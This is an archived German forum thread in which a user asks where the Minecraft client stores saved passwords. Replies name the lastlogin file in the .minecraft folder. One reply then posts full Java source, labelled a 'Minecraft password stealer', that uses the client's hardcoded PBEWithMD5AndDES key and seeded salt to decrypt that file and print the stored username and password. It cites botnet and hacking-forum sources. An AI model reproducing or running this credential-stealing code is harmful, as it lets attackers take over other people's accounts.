PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Minecraft Passwort



Exton
08.01.2012, 16:01
Moin , ich wollte mal Fragen ob einer zufällig weißt wo die gespeicherten Minecraft passwörter gespeichert werden .

Ich bin für jede hilfreiche Antwort dankbar.

mfg Exton

Vanilie
08.01.2012, 16:55
Welche passwörter meinst du die für´s Login, wenn ja die Liegen bei MC auf deren Ihren Servern

Iaa_1
08.01.2012, 17:00
Er meint die gespeicherten Passwörter des Clients auf dem eigenen Computer.

Schattenreiter
08.01.2012, 18:54
Liegen verschlüsselt in der %Appdata%\.minecraft\lastlogin

d4!n1355
08.01.2012, 18:59
Ich bin mir nicht sicher, aber ich denke das es die 'lastlogin' im '.minecraft' Ordner unter AppData/Roaming ist

//Och nö, Tab zu lange offen gelassen...
Immerhin war ich mit meinem Tipp anscheinend richtig :)
mfg,
dainless

sn0w
08.01.2012, 19:19
Java Source zum Auslesen/Entschlüsseln der Datei.


import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;

//Minecraft password stealer by aadster

public class Minecraft
{
public static void main(String [] args)
{
try
{
String appdata = System.getenv("APPDATA");

if (appdata != null)
{
Random random = new Random(43287234L);
byte[] salt = new byte[8];
random.nextBytes(salt);

//Looked up what Minecraft uses, turns out they use this common form of encryption with the Java API

PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
cipher.init(2, pbeKey, pbeParamSpec);

File location = new File(appdata, ".minecraft");
File passFile = new File(location, "lastlogin");
DataInputStream dis = null;

if (cipher != null)
{
dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
}

else
{
dis = new DataInputStream(new FileInputStream(passFile));
}

System.out.println(dis.readUTF() + ":" + dis.readUTF());
dis.close();
}

else
{
System.out.println("The system env. APPDATA was not found, probably not running Windows?");
}
}

catch (Exception ex)
{
}
}
}
Nicht getestet und auch keine Gewähr drauf ;)

Quellen:
http://thebotnet.com/programming/35179-java-minecraft-password-retrieval-tool/
http://genetichax.com/hacking-coding-programming/7769-how-decrypt-minecraft-lastlogin-files-java.html

MfG